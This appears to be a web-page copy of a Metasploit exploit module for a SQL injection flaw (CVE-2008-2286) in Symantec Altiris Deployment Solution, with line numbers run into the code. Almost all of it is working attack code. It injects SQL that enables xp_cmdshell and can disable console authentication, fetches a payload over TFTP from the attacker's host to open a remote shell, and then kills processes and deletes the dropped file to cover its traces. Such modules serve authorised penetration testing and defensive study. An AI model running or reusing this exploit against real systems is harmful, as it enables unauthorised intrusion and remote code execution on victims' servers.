Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/altiris_ds_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Symantec Altiris DS SQL Injection',16'Description' => %q{17This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.818to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize19numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell,20several SQL injections are required in close succession, first to enable xp_cmdshell, then21retrieve the payload via TFTP and finally execute it. The module also has the capability22to disable or enable local application authentication. In order to work the target system23must have a tftp client available.24},25'Author' => [26'Brett Moore', # Vulnerability discovery27'3v0lver' # Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2008-2286' ],32[ 'OSVDB', '45313' ],33[ 'BID', '29198'],34[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-024' ]35],36'DefaultOptions' => {37'EXITFUNC' => 'process',38},39'Targets' => [40[41'Windows 2003 (with tftp client available)',42{43'Arch' => ARCH_X86,44'Platform' => 'win'45}46]47],48'Privileged' => true,49'Platform' => 'win',50'DisclosureDate' => '2008-05-15',51'DefaultTarget' => 0,52'Compat' => {53'Meterpreter' => {54'Commands' => %w[55stdapi_fs_delete_file56stdapi_sys_config_getenv57stdapi_sys_process_attach58stdapi_sys_process_get_processes59stdapi_sys_process_kill60]61}62}63)64)6566register_options(67[68Opt::RPORT(402),69OptBool.new('XP_CMDSHELL', [ true, "Enable xp_cmdshell prior to exploit", true]),70OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]),71OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ])72]73)74deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')7576self.needs_cleanup = true77end7879def execute_command(cmd, opts = {})80inject = []8182if @xp_shell_enable83inject += [84"#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure", '')}",85"#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure", '')}",86]87@xp_shell_enable = false88end8990if @wc_disable_security91inject += ["#{Rex::Text.to_hex("wc_upd_disable_security", '')}"]92@wc_disable_security = false93end9495if @wc_enable_security96inject += ["#{Rex::Text.to_hex("wc_upd_enable_security", '')}"]97@wc_enable_security = false98end99100inject += ["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'", '')}"] if cmd != nil101102inject.each do |sqli|103send_update_computer("2659, null, null;declare @querya VARCHAR(255);select @querya = 0x#{sqli};exec(@querya);--")104end105end106107def send_update_computer(processor_speed)108notification = %Q|Request=UpdateComputer109OS-Bit=32110CPU-Arch=x86111IP-Address=192.168.20.107112MAC-Address=005056C000AB113Name=Remove_test114OS=Windows XP115Version=2.6-38 (32-Bit)116LoggedIn=Yes117Boot-Env=Automation118Platform=Linux119Agent-Settings=Same120Sys-Info-TimeZoneBias=0121Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz122Processor-Speed=#{processor_speed}123\x00124|125126connect127sock.put(notification)128response = sock.get_once()129disconnect130131return response132end133134def check135res = send_update_computer("2659")136137unless res and res =~ /Result=Success/ and res =~ /DSVersion=(.*)/138return Exploit::CheckCode::Unknown139end140141version = $1142143unless version =~ /^6\.(\d+)\.(\d+)$/144return Exploit::CheckCode::Safe145end146147vprint_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'"148149minor = $1.to_i150build = $2.to_i151152if minor == 8153if build == 206 || build == 282 || build == 378154return Exploit::CheckCode::Appears155elsif build < 390156return Exploit::CheckCode::Appears157end158elsif minor == 9 and build < 176159# The existence of versions matching this profile is a possibility... none were observed in the wild though160# as such, we're basing confidence off of Symantec's vulnerability bulletin.161return Exploit::CheckCode::Appears162end163164return Exploit::CheckCode::Safe165end166167def exploit168@wc_disable_security = datastore['DISABLE_SECURITY']169@wc_enable_security = datastore['ENABLE_SECURITY']170@xp_shell_enable = datastore['XP_CMDSHELL']171172# CmdStagerVBS was tested here as well, however delivery took roughly173# 30 minutes and required sending almost 350 notification messages.174# size constraint requirement for SQLi is: linemax => 393175tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']176execute_cmdstager({ delay: 1.5, tftphost: tftphost, temp: '%TEMP%\\', flavor: :tftp })177end178179def on_new_session(client)180return if not stager_instance.payload_exe181182# can't scrub dropped payload while the process is still active so...183# iterate through process list, find our process and the associated184# parent process ID, Kill the parent.185# This module doesn't use FileDropper because of timing issues when186# using migrate -f and FileDropper. On the other hand PrependMigrate187# has been avoided because of older issues with reverse_https payload188189unless client.type == "meterpreter"190print_error("Automatic cleanup only available with meterpreter, please delete #{stager_instance.payload_exe} manually")191return192end193194client.core.use("stdapi") unless client.ext.aliases.include?("stdapi")195# migrate196print_status("Migrating ...")197client.console.run_single("run migrate -f")198# kill the parent process so the payload can hopefully be dropped199print_status("Kill parent process ...")200client.sys.process.get_processes().each do |proc|201if proc['pid'] == client.sys.process.open.pid202client.sys.process.kill(proc['ppid'])203end204end205206win_temp = client.sys.config.getenv('TEMP')207win_file = "#{win_temp}\\#{stager_instance.payload_exe}"208print_status("Attempting to delete #{win_file} ...")209client.shell_command_token(%Q|attrib.exe -r #{win_file}|)210client.fs.file.rm(win_file)211print_good("Deleted #{win_file}")212end213end214215216